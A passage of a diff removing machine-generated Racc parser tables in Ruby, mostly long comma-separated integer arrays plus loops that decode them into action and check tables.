-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,22,23,24,,,',
-',,,,43,44,,,,,111,22,23,24,92,,,28,,,27,25,26,87,,,,111,32,,86,92,,33',
-'28,,45,46,47,48,,,,,,,,,,27,25,26,87,,,,,32,,86,,,33,,,,27,25,26,87',
-',,,,32,,86,,,33' ]
-        racc_action_table = arr = Array.new(8460, nil)
-        idx = 0
-        clist.each do |str|
-          str.split(',', -1).each do |i|
-            arr[idx] = i.to_i unless i.empty?
-            idx += 1
-          end
-        end
-
-clist = [
-'474,74,80,190,64,75,75,75,75,193,404,73,61,178,181,194,75,199,484,403',
-'479,108,75,86,86,86,75,311,285,75,200,217,75,86,75,286,217,403,217,200',
-'334,334,334,53,53,75,75,120,360,360,334,370,120,249,120,270,270,370',
-'61,249,74,75,75,75,75,360,360,108,287,75,73,75,64,311,75,484,404,75',
-'75,75,75,178,181,194,288,199,474,74,80,190,64,75,412,271,271,193,329',
-'73,412,178,181,194,329,199,462,462,462,462,360,360,462,462,462,111,462',
-'462,293,511,111,462,462,462,511,298,462,462,462,462,462,462,462,462',
-'462,462,462,93,272,272,359,359,93,91,93,462,462,35,91,206,91,301,35',
-'206,35,279,279,359,359,441,37,462,462,462,462,37,340,37,340,462,440',
-'462,279,279,462,441,441,462,462,462,462,307,473,473,473,473,440,440',
-'473,473,473,462,473,473,337,483,337,473,483,473,359,359,473,473,473',
-'473,473,473,473,473,473,473,473,308,302,279,279,302,441,441,309,473',
-'473,283,283,283,283,210,210,440,440,55,55,434,357,357,434,473,473,473',
-'473,444,444,444,444,473,443,473,55,55,473,357,357,473,473,473,473,310',
-'471,471,471,471,443,443,471,471,471,473,471,471,346,346,346,471,471',
-'471,140,140,471,471,471,471,471,471,471,471,471,471,471,406,323,55,55',
-'323,357,357,408,471,471,306,306,306,306,100,100,443,443,102,102,324',
-'280,280,324,471,471,471,471,56,56,56,56,471,442,471,102,102,471,280',
-'280,471,471,471,471,409,469,469,469,469,442,442,469,469,469,471,469',
-'469,347,347,347,469,469,469,350,350,469,469,469,469,469,469,469,469',
-'469,469,469,314,300,102,102,300,280,280,254,469,469,103,103,103,103',
-'349,349,442,442,281,281,88,282,282,88,469,469,469,469,361,361,361,361',
-'469,305,469,281,281,469,282,282,469,469,469,469,250,475,475,475,475',
-'305,305,475,475,475,469,475,475,113,430,113,475,430,475,348,348,475',
-'475,475,475,475,475,475,475,475,475,475,221,424,281,281,424,282,282',
-'505,475,475,505,410,259,421,410,259,305,305,358,358,465,422,423,465',
-'475,475,475,475,368,215,429,368,475,315,475,358,358,475,208,207,475',
-'475,475,475,367,0,0,0,0,366,365,0,0,0,475,0,0,278,278,278,0,0,0,364',
-'363,0,0,0,0,0,0,0,0,0,0,0,203,57,358,358,58,95,95,185,0,0,95,95,95,95',
-'95,95,95,95,95,95,95,277,277,277,0,0,0,0,276,276,276,256,0,256,0,183',
-'262,0,262,445,0,0,0,0,446,420,420,420,420,447,95,420,420,420,0,420,420',
-'351,351,351,420,420,420,448,449,420,420,420,420,420,420,420,420,420',
-'420,420,352,352,352,451,452,432,432,453,420,420,432,432,432,432,432',
-'432,432,432,432,432,432,353,353,353,420,420,420,420,354,354,354,59,420',
-'455,420,180,60,420,460,461,420,420,420,420,177,405,405,405,405,463,432',
-'405,405,405,420,405,405,355,355,355,405,464,405,362,467,405,405,405',
-'405,405,405,405,405,405,405,405,356,356,356,124,117,39,39,472,405,405',
-'39,39,39,39,39,39,39,39,39,39,39,99,99,99,405,405,405,405,275,275,275',
-'114,405,316,405,107,106,405,105,284,405,405,405,405,480,382,382,382',
-'382,104,39,382,382,382,405,382,382,101,101,101,382,327,382,328,485,382',
-'382,382,382,382,382,382,382,382,382,382,274,274,274,439,439,439,331',
-'488,382,382,438,438,438,304,304,304,436,436,436,435,435,435,489,82,382',
-'382,382,382,273,273,273,81,382,492,382,494,495,382,66,502,382,382,382',
-'382,79,380,380,380,380,77,76,380,380,380,382,380,380,52,52,52,380,508',
-'380,509,67,380,380,380,380,380,380,380,380,380,380,380,268,268,268,54',
-'54,54,512,514,380,380,269,269,269,437,437,437,515,69,519,33,521,71,524',
-'31,380,380,380,380,1,527,530,72,380,,380,,,380,,,380,380,380,380,,490',
-'490,490,490,,,490,490,490,380,490,490,,,,490,490,490,,,490,490,490,490',
-'490,490,490,490,490,490,490,,,,,,,,,490,490,,,,,,,,,,,,,,,490,490,490',
-'490,,,,,490,,490,,,490,,,490,490,490,490,,491,491,491,491,,,491,491',
-'491,490,491,491,,,,491,491,491,,,491,491,491,491,491,491,491,491,491',
-'491,491,,,,,,,,,491,491,,,,,,,,,,,,,,,491,491,491,491,,,,,491,,491,',
-',491,,,491,491,491,491,,496,496,496,496,,,496,496,496,491,496,496,,',
-',496,496,496,,,496,496,496,496,496,496,496,496,496,496,496,,,,,,,,,496',
-'496,,,,,,,,,,,,,,,496,496,496,496,,,,,496,,496,,,496,,,496,496,496,496',
-',506,506,506,506,,,506,506,506,496,506,506,,,,506,,506,,,506,506,506',
-'506,506,506,506,506,506,506,506,,,,,,,,,506,506,,,,,,,,,,,,,,,506,506',
-'506,506,,,,,506,,506,,,506,,,506,506,506,506,,516,516,516,516,,,516',
-'516,516,506,516,516,,,,516,516,516,,,516,516,516,516,516,516,516,516',
-'516,516,516,,,,,,,,,516,516,,,,,,,,,,,,,,,516,516,516,516,,,,,516,,516',
-',,516,,,516,516,516,516,,520,520,520,520,,,520,520,520,516,520,520,',
-',,520,,520,,,520,520,520,520,520,520,520,520,520,520,520,,,,,,,,,520',
-'520,,,,,,,,,,,,,,,520,520,520,520,,,,,520,,520,,,520,,,520,520,520,520',
-',84,84,84,84,,,84,84,84,520,84,84,,,,84,,84,,,84,84,84,84,84,84,84,84',
-'84,84,84,,,,,,,,,84,84,,,,,,,,,,,,,,,84,84,84,84,,,,,84,,84,,,84,,,84',
-'84,84,84,,522,522,522,522,,,522,522,522,84,522,522,,,,522,,522,,,522',
-'522,522,522,522,522,522,522,522,522,522,,,,,,,,,522,522,,,,,,,,,,,,',
-',,522,522,522,522,,,,,522,,522,,,522,,,522,522,522,522,,65,65,65,65',
-',,65,65,65,522,65,65,,,,65,65,65,,,65,65,65,65,65,65,65,65,65,65,65',
-',,,,,,,,65,65,,,,,,,,,,,,,,,65,65,65,65,,,,,65,,65,,,65,,,65,65,65,65',
-',525,525,525,525,,,525,525,525,65,525,525,,,,525,525,525,,,525,525,525',
-'525,525,525,525,525,525,525,525,,,,,,,,,525,525,,,,,,,,,,,,,,,525,525',
-'525,525,,,,,525,,525,,,525,,,525,525,525,525,,2,2,2,2,,,2,2,2,525,2',
-'2,,,,2,2,2,,,2,2,2,2,2,2,2,2,2,2,2,,,,,,,,,2,2,,,,,,,,,,,,,,,2,2,2,2',
-',,,,2,,2,,,2,,,2,2,2,2,,526,526,526,526,,,526,526,526,2,526,526,,,,526',
-'526,526,,,526,526,526,526,526,526,526,526,526,526,526,,,,,,,,,526,526',
-',,,,,,,,,,,,,,526,526,526,526,,,,,526,,526,,,526,,,526,526,526,526,',
-'70,70,70,70,,,70,70,70,526,70,70,,,,70,,70,,,70,70,70,70,70,70,70,70',
-'70,70,70,,,,,,,,,70,70,,,,,,,,,,,,,,,70,70,70,70,,,,,70,,70,,,70,,,70',
-'70,70,70,,533,533,533,533,,,533,533,533,70,533,533,,,,533,303,533,,',
-'533,533,533,533,533,533,533,533,533,533,533,,,,,,,303,303,533,533,,303',
-'303,303,303,303,303,303,303,303,303,303,,,533,533,533,533,,396,396,396',
-'533,,533,,,533,,396,533,533,533,533,,396,,,,396,,303,396,,533,396,,396',
-',,,,,,,,,,396,396,,,,,,,,,,,,,,,396,396,396,396,32,32,32,,396,,396,',
-',396,32,,396,396,396,396,32,,,,32,,,32,,,32,,32,,,,,,,,,,,32,32,,,,',
-',,,,,,,,,,32,32,32,32,333,333,333,,32,,32,,,32,333,,32,32,32,32,333',
-',,,333,,,333,,,333,,333,,,,,,,,,,,333,333,,,,,,,,,,,,,,,333,333,333',
-'333,332,332,332,,333,,333,,,333,332,,333,333,333,333,332,,,,332,,,332',
-',,332,,332,,,,,,,,,,,332,332,,,,,,,,,,,,,,,332,332,332,332,392,392,392',
-',332,,332,,,332,392,,332,332,332,332,392,,,,392,,,392,,,392,,392,,,',
-',,,,,,,392,392,,,,,,,,,,,,,,,392,392,392,392,393,393,393,,392,,392,',
-',392,393,,392,392,392,392,393,,,,393,,,393,,,393,,393,,,,,,,,,,,393',
-'393,,,,,,,,,,,,,,,393,393,393,393,78,78,78,,393,,393,,,393,78,,393,393',
-'393,393,78,,,,78,,,78,,,78,,78,,,,,,,,,,,78,78,,,,,,,,,,,,,,,78,78,78',
-'78,504,504,504,,78,,78,,,78,504,,78,78,78,78,504,,,,504,,,504,,,504',
-',504,,,,,,,,,,,504,504,,,,,,,,,,,,,,,504,504,504,504,330,330,330,,504',
-',504,,,504,330,,504,504,504,504,330,,,,330,,,330,,,330,,330,,,,,,,,',
-',,330,330,,,,,,,,,,,,,,,330,330,330,330,394,394,394,,330,,330,,,330',
-'394,,330,330,330,330,394,,,,394,,,394,,,394,,394,,,,,,,,,,,394,394,',
-',,,,,,,,,,,,,394,394,394,394,40,40,40,,394,,394,,,394,40,,394,394,394',
-'394,40,,,,40,,,40,,,40,,40,,,,,,,,,,,40,40,,,,,,,,,,,,,,,40,40,40,40',
-'395,395,395,,40,,40,,,40,395,,40,40,40,40,395,,,,395,,,395,,,395,,395',
-',,,,,,,,,,395,395,,,,,,,,,,,,,,,395,395,395,395,391,391,391,,395,,395',
-',,395,391,,395,395,395,395,391,,,,391,,,391,,,391,,391,,,,,,,,,,,391',
-'391,,,,,,,,,,,,,,,391,391,391,391,397,397,397,,391,,391,,,391,397,,391',
-'391,391,391,397,,,,397,,,397,,,397,,397,,,,,,,,,,,397,397,,,,,,,,,,',
-',,,,397,397,397,397,398,398,398,,397,,397,,,397,398,,397,397,397,397',
-'398,,,,398,,,398,,,398,,398,,,,,,,,,,,398,398,,,,,,,,,,,,,,,398,398',
-'398,398,399,399,399,,398,,398,,,398,399,,398,398,398,398,399,,,,399',
-',,399,,,399,,399,,,,,,,,,,,399,399,,,,,,,,,,,,,,,399,399,399,399,400',
-'400,400,,399,,399,,,399,400,,399,399,399,399,400,,,,400,,,400,,,400',
-',400,,,,,,,,,,,400,400,,,,,,,,,,,,,,,400,400,400,400,401,401,401,,400',
-',400,,,400,401,,400,400,400,400,401,,,,401,,,401,,,401,,401,,,,,,,,',
-',,401,401,,,,,,,,,,,,,,,401,401,401,401,487,487,487,,401,,401,,,401',
-'487,,401,401,401,401,487,,,,487,,,487,,,487,,487,,,,,,,,,,,487,487,',
-',,,,,,,,,,,,,487,487,487,487,390,390,390,,487,,487,,,487,390,,487,487',
-'487,487,390,,,,390,,,390,,,390,,390,,,,,,,,,,,390,390,,,,,,,,,,,,,,',
-'390,390,390,390,389,389,389,,390,,390,,,390,389,,390,390,390,390,389',
-',,,389,,,389,,,389,,389,,,,,,,,,,,389,389,,,,,,,,,,,,,,,389,389,389',
-'389,388,388,388,,389,,389,,,389,388,,389,389,389,389,388,,,,388,,,388',
-',,388,,388,,,,,,,,,,,388,388,,,,,,,,,,,,,,,388,388,388,388,371,371,371',
-',388,,388,,,388,371,,388,388,388,388,371,,,,371,,,371,,,371,,371,,,',
-',,,,,,,371,371,,,,,,,,,,,,,,,371,371,371,371,,481,481,481,371,,371,',
-',371,371,481,371,371,371,371,,481,,,,481,,,481,,,481,,481,,,,,,,,,,',
-'481,481,,,,,,,,,,,,,,,481,481,481,481,477,477,477,,481,,481,,,481,477',
-',481,481,481,481,477,,,,477,,,477,,,477,,477,,,,,,,,,,,477,477,,,,,',
-',,,,,,,,,477,477,477,477,476,476,476,,477,,477,,,477,476,,477,477,477',
-'477,476,,,,476,,,476,,,476,,476,,,,,,,,,,,476,476,,,,,,,,,,,,,,,476',
-'476,476,476,41,41,41,,476,,476,,,476,41,,476,476,476,476,41,,,,41,,',
-'41,,,41,,41,,,,,,,,,,,41,41,,,,,,,,,,,,,,,41,41,41,41,419,419,419,,41',
-',41,,,41,419,,41,41,41,41,419,,,,419,,,419,,,419,,419,,,,,,,,,,,419',
-'419,,,,,,,,,,,,,,,419,419,419,419,374,374,374,,419,,419,,,419,374,,419',
-'419,419,419,374,,,,374,,,374,,,374,,374,,,,,,,,,,,374,374,,,,,,,,,,',
-',,,,374,374,374,374,112,112,112,,374,,374,,,374,112,,374,374,374,374',
-'112,,,,112,,,112,,,112,,112,,,,,,,,,,,112,112,,,,,,,,,,,,,,,112,112',
-'112,112,,42,42,42,112,,112,,,112,112,42,112,112,112,112,,42,,,,42,,',
-'42,,,42,,42,,,,,,,,,,,42,42,,,,,,,,,,,,,,,42,42,42,42,43,43,43,,42,',
-'42,,,42,43,,42,42,42,42,43,,,,43,,,43,,,43,,43,,,,,,,,,,,43,43,,,,,',
-',,,,,,,,,43,43,43,43,116,116,116,,43,,43,,,43,116,,43,43,43,43,116,',
-',,116,,,116,,,116,,116,,,,,,,,,,,116,116,,,,,,,,,,,,,,,116,116,116,116',
-'44,44,44,,116,,116,,,116,44,,116,116,116,116,44,,,,44,,,44,,,44,,44',
-',,,,,,,,,,44,44,,,,,,,,,,,,,,,44,44,44,44,119,119,119,,44,,44,,,44,119',
-',44,44,44,44,119,,,,119,,,119,,,119,,119,,,,,,,,,,,119,119,,,,,,,,,',
-',,,,,119,119,119,119,376,376,376,,119,119,119,,,119,376,,119,119,119',
-'119,376,,,,376,,,376,,,376,,376,,,,,,,,,,,376,376,,,,,,,,,,,,,,,376',
-'376,376,376,123,123,123,,376,,376,,,376,123,,376,376,376,376,123,,,',
-'123,,,123,,,123,,123,,,,,,,,,,,123,123,,,,,,,,,,,,,,,123,123,123,123',
-'45,45,45,,123,,123,,,123,45,,123,123,123,123,45,,,,45,,,45,,,45,,45',
-',,,,,,,,,,45,45,,,,,,,,,,,,,,,45,45,45,45,127,127,127,,45,,45,,,45,127',
-',45,45,45,45,127,,,,127,,,127,,,127,,127,,,,,,,,,,,127,127,,,,,,,,,',
-',,,,,127,127,127,127,46,46,46,,127,,127,,,127,46,,127,127,127,127,46',
-',,,46,,,46,,,46,,46,,,,,,,,,,,46,46,,,,,,,,,,,,,,,46,46,46,46,150,150',
-'150,,46,,46,,,46,150,,46,46,46,46,150,,,,150,,,150,,,150,,150,,,,,,',
-',,,,150,150,,,,,,,,,,,,,,,150,150,150,150,151,151,151,,150,,150,,,150',
-'151,,150,150,150,150,151,,,,151,,,151,,,151,,151,,,,,,,,,,,151,151,',
-',,,,,,,,,,,,,151,151,151,151,152,152,152,,151,,151,,,151,152,,151,151',
-'151,151,152,,,,152,,,152,,,152,,152,,,,,,,,,,,152,152,,,,,,,,,,,,,,',
-'152,152,152,152,153,153,153,,152,,152,,,152,153,,152,152,152,152,153',
-',,,153,,,153,,,153,,153,,,,,,,,,,,153,153,,,,,,,,,,,,,,,153,153,153',
-'153,154,154,154,,153,,153,,,153,154,,153,153,153,153,154,,,,154,,,154',
-',,154,,154,,,,,,,,,,,154,154,,,,,,,,,,,,,,,154,154,154,154,155,155,155',
-',154,,154,,,154,155,,154,154,154,154,155,,,,155,,,155,,,155,,155,,,',
-',,,,,,,155,155,,,,,,,,,,,,,,,155,155,155,155,156,156,156,,155,,155,',
-',155,156,,155,155,155,155,156,,,,156,,,156,,,156,,156,,,,,,,,,,,156',
-'156,,,,,,,,,,,,,,,156,156,156,156,157,157,157,,156,,156,,,156,157,,156',
-'156,156,156,157,,,,157,,,157,,,157,,157,,,,,,,,,,,157,157,,,,,,,,,,',
-',,,,157,157,157,157,158,158,158,,157,,157,,,157,158,,157,157,157,157',
-'158,,,,158,,,158,,,158,,158,,,,,,,,,,,158,158,,,,,,,,,,,,,,,158,158',
-'158,158,159,159,159,,158,,158,,,158,159,,158,158,158,158,159,,,,159',
-',,159,,,159,,159,,,,,,,,,,,159,159,,,,,,,,,,,,,,,159,159,159,159,160',
-'160,160,,159,,159,,,159,160,,159,159,159,159,160,,,,160,,,160,,,160',
-',160,,,,,,,,,,,160,160,,,,,,,,,,,,,,,160,160,160,160,161,161,161,,160',
-',160,,,160,161,,160,160,160,160,161,,,,161,,,161,,,161,,161,,,,,,,,',
-',,161,161,,,,,,,,,,,,,,,161,161,161,161,162,162,162,,161,,161,,,161',
-'162,,161,161,161,161,162,,,,162,,,162,,,162,,162,,,,,,,,,,,162,162,',
-',,,,,,,,,,,,,162,162,162,162,163,163,163,,162,,162,,,162,163,,162,162',
-'162,162,163,,,,163,,,163,,,163,,163,,,,,,,,,,,163,163,,,,,,,,,,,,,,',
-'163,163,163,163,164,164,164,,163,,163,,,163,164,,163,163,163,163,164',
-',,,164,,,164,,,164,,164,,,,,,,,,,,164,164,,,,,,,,,,,,,,,164,164,164',
-'164,165,165,165,,164,,164,,,164,165,,164,164,164,164,165,,,,165,,,165',
-',,165,,165,,,,,,,,,,,165,165,,,,,,,,,,,,,,,165,165,165,165,166,166,166',
-',165,,165,,,165,166,,165,165,165,165,166,,,,166,,,166,,,166,,166,,,',
-',,,,,,,166,166,,,,,,,,,,,,,,,166,166,166,166,167,167,167,,166,,166,',
-',166,167,,166,166,166,166,167,,,,167,,,167,,,167,,167,,,,,,,,,,,167',
-'167,,,,,,,,,,,,,,,167,167,167,167,168,168,168,,167,,167,,,167,168,,167',
-'167,167,167,168,,,,168,,,168,,,168,,168,,,,,,,,,,,168,168,,,,,,,,,,',
-',,,,168,168,168,168,169,169,169,,168,,168,,,168,169,,168,168,168,168',
-'169,,,,169,,,169,,,169,,169,,,,,,,,,,,169,169,,,,,,,,,,,,,,,169,169',
-'169,169,170,170,170,,169,,169,,,169,170,,169,169,169,169,170,,,,170',
-',,170,,,170,,170,,,,,,,,,,,170,170,,,,,,,,,,,,,,,170,170,170,170,171',
-'171,171,,170,,170,,,170,171,,170,170,170,170,171,,,,171,,,171,,,171',
-',171,,,,,,,,,,,171,171,,,,,,,,,,,,,,,171,171,171,171,172,172,172,,171',
-',171,,,171,172,,171,171,171,171,172,,,,172,,,172,,,172,,172,,,,,,,,',
-',,172,172,,,,,,,,,,,,,,,172,172,172,172,173,173,173,,172,,172,,,172',
-'173,,172,172,172,172,173,,,,173,,,173,,,173,,173,,,,,,,,,,,173,173,',
-',,,,,,,,,,,,,173,173,173,173,174,174,174,,173,,173,,,173,174,,173,173',
-'173,173,174,,,,174,,,174,,,174,,174,,,,,,,,,,,174,174,,,,,,,,,,,,,,',
-'174,174,174,174,47,47,47,,174,,174,,,174,47,,174,174,174,174,47,,,,47',
-',,47,,,47,,47,,,,,,,,,,,47,47,,,,,,,,,,,,,,,47,47,47,47,457,457,457',
-',47,,47,,,47,457,,47,47,47,47,457,,,,457,,,457,,,457,,457,,,,,,,,,,',
-'457,457,,,,,,,,,,,,,,,457,457,457,457,456,456,456,,457,,457,,,457,456',
-',457,457,457,457,456,,,,456,,,456,,,456,,456,,,,,,,,,,,456,456,,,,,',
-',,,,,,,,,456,456,456,456,454,454,454,,456,,456,,,456,454,,456,456,456',
-'456,454,,,,454,,,454,,,454,,454,,,,,,,,,,,454,454,,,,,,,,,,,,,,,454',
-'454,454,454,381,381,381,,454,,454,,,454,381,,454,454,454,454,381,,,',
-'381,,,381,,,381,,381,,,,,,,,,,,381,381,,,,,,,,,,,,,,,381,381,381,381',
-'184,184,184,,381,,381,,,381,184,,381,381,381,381,184,,,,184,,,184,,',
-'184,,184,,,,,,,,,,,184,184,,,,,,,,,,,,,,,184,184,184,184,387,387,387',
-',184,,184,,,184,387,,184,184,184,184,387,,,,387,,,387,,,387,,387,,,',
-',,,,,,,387,387,,,,,,,,,,,,,,,387,387,387,387,186,186,186,,387,,387,',
-',387,186,,387,387,387,387,186,,,,186,,,186,,,186,,186,,,,,,,,,,,186',
-'186,,,,,,,,,,,,,,,186,186,186,186,187,187,187,,186,,186,,,186,187,,186',
-'186,186,186,187,,,,187,,,187,,,187,187,187,,,,,,,,,,,187,187,,,,,,,',
-',,,,,,,187,187,187,187,248,248,248,,187,,187,,,187,248,,187,187,187',
-'187,248,,,,248,,,248,,,248,,248,,,,,,,,,,,248,248,,,,,,,,,,,,,,,248',
-'248,248,248,247,247,247,,248,,248,,,248,247,,248,248,248,248,247,,,',
-'247,,,247,,,247,,247,,,,,,,,,,,247,247,,,,,,,,,,,,,,,247,247,247,247',
-'246,246,246,,247,,247,,,247,246,,247,247,247,247,246,,,,246,,,246,,',
-'246,,246,,,,,,,,,,,246,246,,,,,,,,,,,,,,,246,246,246,246,197,197,197',
-',246,,246,,,246,197,,246,246,246,246,197,,,,197,,,197,,,197,,197,,,',
-',,,,,,,197,197,,,,,,,,,,,,,,,197,197,197,197,198,198,198,,197,,197,',
-',197,198,,197,197,197,197,198,,,,198,,,198,,,198,,198,,,,,,,,,,,198',
-'198,,,,,,,,,,,,,,,198,198,198,198,245,245,245,,198,,198,,,198,245,,198',
-'198,198,198,245,,,,245,,,245,,,245,,245,,,,,,,,,,,245,245,,,,,,,,,,',
-',,,,245,245,245,245,383,383,383,,245,,245,,,245,383,,245,245,245,245',
-'383,,,,383,,,383,,,383,,383,,,,,,,,,,,383,383,,,,,,,,,,,,,,,383,383',
-'383,383,244,244,244,,383,,383,,,383,244,,383,383,383,383,244,,,,244',
-',,244,,,244,,244,,,,,,,,,,,244,244,,,,,,,,,,,,,,,244,244,244,244,243',
-'243,243,,244,,244,,,244,243,,244,244,244,244,243,,,,243,,,243,,,243',
-',243,,,,,,,,,,,243,243,,,,,,,,,,,,,,,243,243,243,243,384,384,384,,243',
-',243,,,243,384,,243,243,243,243,384,,,,384,,,384,,,384,,384,,,,,,,,',
-',,384,384,,,,,,,,,,,,,,,384,384,384,384,242,242,242,,384,,384,,,384',
-'242,,384,384,384,384,242,,,,242,,,242,,,242,,242,,,,,,,,,,,242,242,',
-',,,,,,,,,,,,,242,242,242,242,385,385,385,,242,,242,,,242,385,,242,242',
-'242,242,385,,,,385,,,385,,,385,,385,,,,,,,,,,,385,385,,,,,,,,,,,,,,',
-'385,385,385,385,213,213,213,,385,,385,,,385,213,,385,385,385,385,213',
-',,,213,,,213,,,213,,213,,,,,,,,,,,213,213,,,,,,,,,,,,,,,213,213,213',
-'213,214,214,214,,213,,213,,,213,214,,213,213,213,213,214,,,,214,,,214',
-',,214,,214,,,,,,,,,,,214,214,,,,,,,,,,,,,,,214,214,214,214,295,295,295',
-',214,,214,,,214,295,,214,214,214,214,295,,,,295,,,295,,,295,,295,,,',
-',,,,,,,295,295,,,,,,,,,,,,,,,295,295,295,295,386,386,386,,295,,295,',
-',295,386,,295,295,295,295,386,,,,386,,,386,,,386,,386,,,,,,,,,,,386',
-'386,,,,,,,,,,,,,,,386,386,386,386,220,220,220,,386,,386,,,386,220,,386',
-'386,386,386,220,,,,220,,,220,,,220,,220,,,,,,,,,,,220,220,,,,,,,,,,',
-',,,,220,220,220,220,48,48,48,,220,,220,,,220,48,,220,220,220,220,48',
-',,,48,,,48,,,48,,48,,,,,,,,,,,48,48,,,,,,,,,,,,,,,48,48,48,48,224,224',
-'224,,48,,48,,,48,224,,48,48,48,48,224,,,,224,,,224,,,224,,224,,,,,,',
-',,,,224,224,,,,,,,,,,,,,,,224,224,224,224,225,225,225,,224,,224,,,224',
-'225,,224,224,224,224,225,,,,225,,,225,,,225,,225,,,,,,,,,,,225,225,',
-',,,,,,,,,,,,,225,225,225,225,226,226,226,,225,,225,,,225,226,,225,225',
-'225,225,226,,,,226,,,226,,,226,,226,,,,,,,,,,,226,226,,,,,,,,,,,,,,',
-'226,226,226,226,227,227,227,,226,,226,,,226,227,,226,226,226,226,227',
-',,,227,,,227,,,227,,227,,,,,,,,,,,227,227,,,,,,,,,,,,,,,227,227,227',
-'227,228,228,228,,227,,227,,,227,228,,227,227,227,227,228,,,,228,,,228',
-',,228,,228,,,,,,,,,,,228,228,,,,,,,,,,,,,,,228,228,228,228,229,229,229',
-',228,,228,,,228,229,,228,228,228,228,229,,,,229,,,229,,,229,,229,,,',
-',,,,,,,229,229,,,,,,,,,,,,,,,229,229,229,229,230,230,230,,229,,229,',
-',229,230,,229,229,229,229,230,,,,230,,,230,,,230,,230,,,,,,,,,,,230',
-'230,,,,,,,,,,,,,,,230,230,230,230,231,231,231,,230,,230,,,230,231,,230',
-'230,230,230,231,,,,231,,,231,,,231,,231,,,,,,,,,,,231,231,,,,,,,,,,',
-',,,,231,231,231,231,232,232,232,,231,,231,,,231,232,,231,231,231,231',
-'232,,,,232,,,232,,,232,,232,,,,,,,,,,,232,232,,,,,,,,,,,,,,,232,232',
-'232,232,233,233,233,,232,,232,,,232,233,,232,232,232,232,233,,,,233',
-',,233,,,233,,233,,,,,,,,,,,233,233,,,,,,,,,,,,,,,233,233,233,233,234',
-'234,234,,233,,233,,,233,234,,233,233,233,233,234,,,,234,,,234,,,234',
-',234,,,,,,,,,,,234,234,,,,,,,,,,,,,,,234,234,234,234,241,241,241,,234',
-',234,,,234,241,,234,234,234,234,241,,,,241,,,241,,,241,,241,,,,,,,,',
-',,241,241,,,,,,,,,,,,,,,241,241,241,241,236,236,236,,241,,241,,,241',
-'236,,241,241,241,241,236,,,,236,,,236,,,236,,236,,,,,,,,,,,236,236,',
-',,,,,,,,,,,,,236,236,236,236,237,237,237,,236,,236,,,236,237,,236,236',
-'236,236,237,,,,237,,,237,,,237,,237,,,,,,,,,,,237,237,,,,,,,,,,,,,,',
-'237,237,237,237,238,238,238,,237,,237,,,237,238,,237,237,237,237,238',
-',,,238,,,238,,,238,,238,,,,,,,,,,,238,238,,,,,,,,,,,,,,,238,238,238',
-'238,239,239,239,,238,,238,,,238,239,,238,238,238,238,239,,,,239,,,239',
-',,239,,239,,,,,,,,,,,239,239,,,,,,,,,,,,,,,239,239,239,239,240,240,240',
-',239,,239,,,239,240,,239,239,239,239,240,,,,240,,,240,,,240,,240,,,',
-',,,,,,,240,240,,,,,,,,,,,,,,,240,240,240,240,235,235,235,,240,,240,',
-',240,235,,240,240,240,240,235,,,,235,,,235,,,235,,235,92,92,92,,,,,',
-',,235,235,,,,,92,36,36,36,92,,,92,,,235,235,235,235,,,,36,235,,235,36',
-',235,36,,235,235,235,235,,,,,,,,,,92,92,92,92,,,,,92,,92,,,92,,,,36',
-'36,36,36,,,,,36,,36,,,36' ]
-        racc_action_check = arr = Array.new(8460, nil)
-        idx = 0
-        clist.each do |str|
-          str.split(',', -1).each do |i|
-            arr[idx] = i.to_i unless i.empty?
-            idx += 1
-          end
-        end
-
-racc_action_pointer = [
-   482,   847,  1622,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   778,  1969,   769,   nil,    80,  8389,    93,   nil,   631,
-  2500,  3445,  3682,  3741,  3859,  4095,  4213,  5747,  7281,   nil,
-   nil,   nil,   723,   -30,   779,   209,   282,   434,   436,   538,
-   587,   -27,   nil,   nil,     3,  1470,   721,   747,   nil,   771,
-  1774,   775,   785,    10,     0,     4,   728,   727,  2264,   720,
-     1,   714,   766,   nil,  1318,   nil,   -35,   nil,   317,   nil,
-   nil,    76,  8372,    70,   nil,   479,   nil,   nil,   nil,   611,
-   228,   681,   285,   340,   634,   622,   619,   662,   -18,   nil,
-   nil,    53,  3622,   351,   629,   nil,  3800,   611,   nil,  3918,
-   -18,   nil,   nil,  4036,   610,   nil,   nil,  4154,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   233,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-  4272,  4331,  4390,  4449,  4508,  4567,  4626,  4685,  4744,  4803,
-  4862,  4921,  4980,  5039,  5098,  5157,  5216,  5275,  5334,  5393,
-  5452,  5511,  5570,  5629,  5688,   nil,   nil,   567,    12,   nil,
-   540,    13,   nil,   464,  6042,   491,  6160,  6219,   nil,   nil,
-     2,   nil,   nil,     8,    14,   nil,   nil,  6455,  6514,    16,
-    23,   nil,   nil,   450,   nil,   nil,    87,   414,   413,   nil,
-   157,   nil,   nil,  6986,  7045,   408,   nil,   -34,   nil,   nil,
-  7222,   379,   nil,   nil,  7340,  7399,  7458,  7517,  7576,  7635,
-  7694,  7753,  7812,  7871,  7930,  8343,  8048,  8107,  8166,  8225,
-  8284,  7989,  6868,  6750,  6691,  6573,  6396,  6337,  6278,    -7,
-   342,   nil,   nil,   nil,   301,   nil,   477,   nil,   nil,   385,
-   nil,   nil,   482,   nil,   nil,   nil,   nil,   nil,   742,   752,
-   -18,    20,    63,   728,   700,   652,   500,   493,   453,   133,
-   288,   361,   364,   188,   624,   -55,   -49,    28,    20,   nil,
-   nil,   nil,   nil,    56,   nil,  7104,   nil,   nil,    63,   nil,
-   298,    84,   146,  1848,   713,   375,   264,    97,   128,   134,
-   215,   -12,   nil,   nil,   294,   385,   640,   nil,   nil,   nil,
-   nil,   nil,   nil,   222,   241,   nil,   nil,   661,   665,    36,
-  2382,   684,  2087,  2028,   -18,   nil,   nil,   123,   nil,   nil,
-    95,   nil,   nil,   nil,   nil,   nil,   191,   267,   353,   304,
-   277,   529,   548,   569,   576,   605,   624,   212,   437,   118,
